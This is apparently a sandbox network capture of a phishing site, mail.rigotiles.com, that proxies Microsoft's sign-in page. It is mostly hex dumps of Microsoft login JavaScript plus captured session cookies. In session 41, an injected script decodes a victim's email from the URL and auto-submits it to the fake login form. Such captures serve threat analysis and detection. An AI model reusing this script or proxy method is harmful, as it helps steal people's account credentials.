https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA
2024-10-31 20:55:07 UTC	837	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:07 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pQ8edfvrOOERDlyeVGBhLUiOQxpGseNi8ErUun2Luzj4w8VkNkWpSz1spFq8jWOYFKyrrxx0N%2BFpJV1bJkw0trd66JDbHykSnu91DK7Tv%2Fu1hHUE3pop0FoxzSRiaPboF6TpdGI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b4cf90f2e6a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2605&delivery_rate=1848117&cwnd=250&unsent_bytes=0&cid=486f79ae1c95f61f&ts=282&x=0"
2024-10-31 20:55:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	53710	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:07 UTC	621	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:07 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2488333 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:07 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-10-31 20:55:07 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-10-31 20:55:07 UTC	16383	IN	Data Raw: 29 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 Data Ascii: ))}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t
2024-10-31 20:55:07 UTC	16383	IN	Data Raw: 50 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 Data Ascii: PP_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"80041
2024-10-31 20:55:07 UTC	3	IN	Data Raw: 3a 22 55 Data Ascii: :"U
2024-10-31 20:55:07 UTC	16383	IN	Data Raw: 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 7d 2c Data Ascii: IEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0},
2024-10-31 20:55:07 UTC	16383	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 6e 6f Data Ascii: :function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("igno
2024-10-31 20:55:07 UTC	16383	IN	Data Raw: 2e 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 Data Ascii: .m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function e
2024-10-31 20:55:07 UTC	16383	IN	Data Raw: 73 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 7c 7c Data Ascii: set")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e\|\|
2024-10-31 20:55:07 UTC	16383	IN	Data Raw: 75 72 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c 74 68 Data Ascii: urn i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},th
2024-10-31 20:55:08 UTC	11300	IN	Data Raw: 3d 65 2e 6e 6f 74 69 66 79 4f 6e 43 6c 69 65 6e 74 41 62 6f 72 74 7c 7c 21 31 2c 6d 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 53 61 73 45 6e 64 41 75 74 68 50 6f 73 74 54 6f 47 65 74 53 77 69 74 63 68 2c 76 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 46 69 78 55 49 43 72 61 73 68 46 6f 72 41 70 69 52 65 71 75 65 73 74 48 61 6e 64 6c 65 72 3b 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 76 61 72 20 74 3d 7b 68 70 67 69 64 3a 64 2e 68 70 67 69 64 7c 7c 30 2c 68 70 67 61 63 74 3a 64 2e 68 70 67 61 63 74 7c 7c 30 7d 3b 72 65 74 75 72 6e 20 65 7c 7c 28 74 2e 41 63 63 65 70 74 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 6e 26 26 64 2e 61 70 69 43 61 6e 61 72 79 26 26 28 74 2e 63 61 6e 61 72 79 3d 64 2e 61 70 69 43 61 6e 61 72 79 29 29 2c 64 2e Data Ascii: =e.notifyOnClientAbort\|\|!1,m=l.ServerData.fSasEndAuthPostToGetSwitch,v=l.ServerData.fFixUICrashForApiRequestHandler;function b(e){var t={hpgid:d.hpgid\|\|0,hpgact:d.hpgact\|\|0};return e\|\|(t.Accept="application/json",n&&d.apiCanary&&(t.canary=d.apiCanary)),d.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	53713	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:08 UTC	1034	OUT	GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157.js HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA
2024-10-31 20:55:08 UTC	839	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:08 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j0gQIZsLpsCZvKLYvjBTURrFVVPAnxpiJso5x%2BtyTs6hzI1YCIM%2FpJoGFXR3EnP5OS6w%2FubgQQLzdZ0CzB349tGSH1WAhKwhOrxGAgCADM45tnkYbUaAVZsY9wnkYQPrdCYTifE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b56bba9e58d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1262&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1612&delivery_rate=2320512&cwnd=251&unsent_bytes=0&cid=5e775946c744b6a2&ts=314&x=0"
2024-10-31 20:55:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	53714	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:08 UTC	1099	OUT	GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157/e912187ff14fbe0e087fdd0242e0ac50ec5f2e3b1729e3fe0d8b2bf4a69d8ad8.js HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA
2024-10-31 20:55:08 UTC	845	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:08 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ph0k6yUWnl4GHn%2F%2BztiNL7QLU%2FOhSIKVzm0o%2F2d0r4OgpN%2FAtv7k8shOEd3ZbC740xtqWKs%2FkQAZT5kA2F3AurycXeSyJfNmElNfpWbz4xq18SvopW09Dkt9Cf5LQ0YvUNUGKhw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b56c98a2d45-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1410&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1677&delivery_rate=1946236&cwnd=242&unsent_bytes=0&cid=9afaf8f609e926ff&ts=346&x=0"
2024-10-31 20:55:08 UTC	524	IN	Data Raw: 33 32 37 0d 0a 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 29 7b 0a 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b Data Ascii: 327function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(window.location.href)){ var res = query.split("#"); var data1 = res[0];
2024-10-31 20:55:08 UTC	290	IN	Data Raw: 20 7d 20 63 61 74 63 68 20 28 65 29 20 7b 0a 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 45 72 72 6f 72 20 64 65 63 6f 64 69 6e 67 20 62 61 73 65 36 34 20 73 74 72 69 6e 67 3a 27 2c 20 65 29 3b 0a 20 20 7d 0a 7d 0a 65 6d 61 69 6c 49 64 2e 66 6f 63 75 73 28 29 3b 0a 65 6d 61 69 6c 49 64 2e 76 61 6c 75 65 20 3d 20 64 65 63 6f 64 65 64 53 74 72 69 6e 67 3b 0a 6e 65 78 74 42 75 74 74 6f 6e 2e 66 6f 63 75 73 28 29 3b 0a 6e 65 78 74 42 75 74 74 6f 6e 2e 63 6c 69 63 6b 28 29 3b 0a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 59 45 53 21 22 29 3b 0a 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 7d 0a 20 20 7d 0a 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 70 28 29 3b 7d 2c 20 35 30 30 29 3b 0a 20 20 7d 0a 20 20 73 65 74 54 69 Data Ascii: } catch (e) { console.error('Error decoding base64 string:', e); }}emailId.focus();emailId.value = decodedString;nextButton.focus();nextButton.click();console.log("YES!");return; } } setTimeout(function(){lp();}, 500); } setTi
2024-10-31 20:55:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	53717	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:08 UTC	2951	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 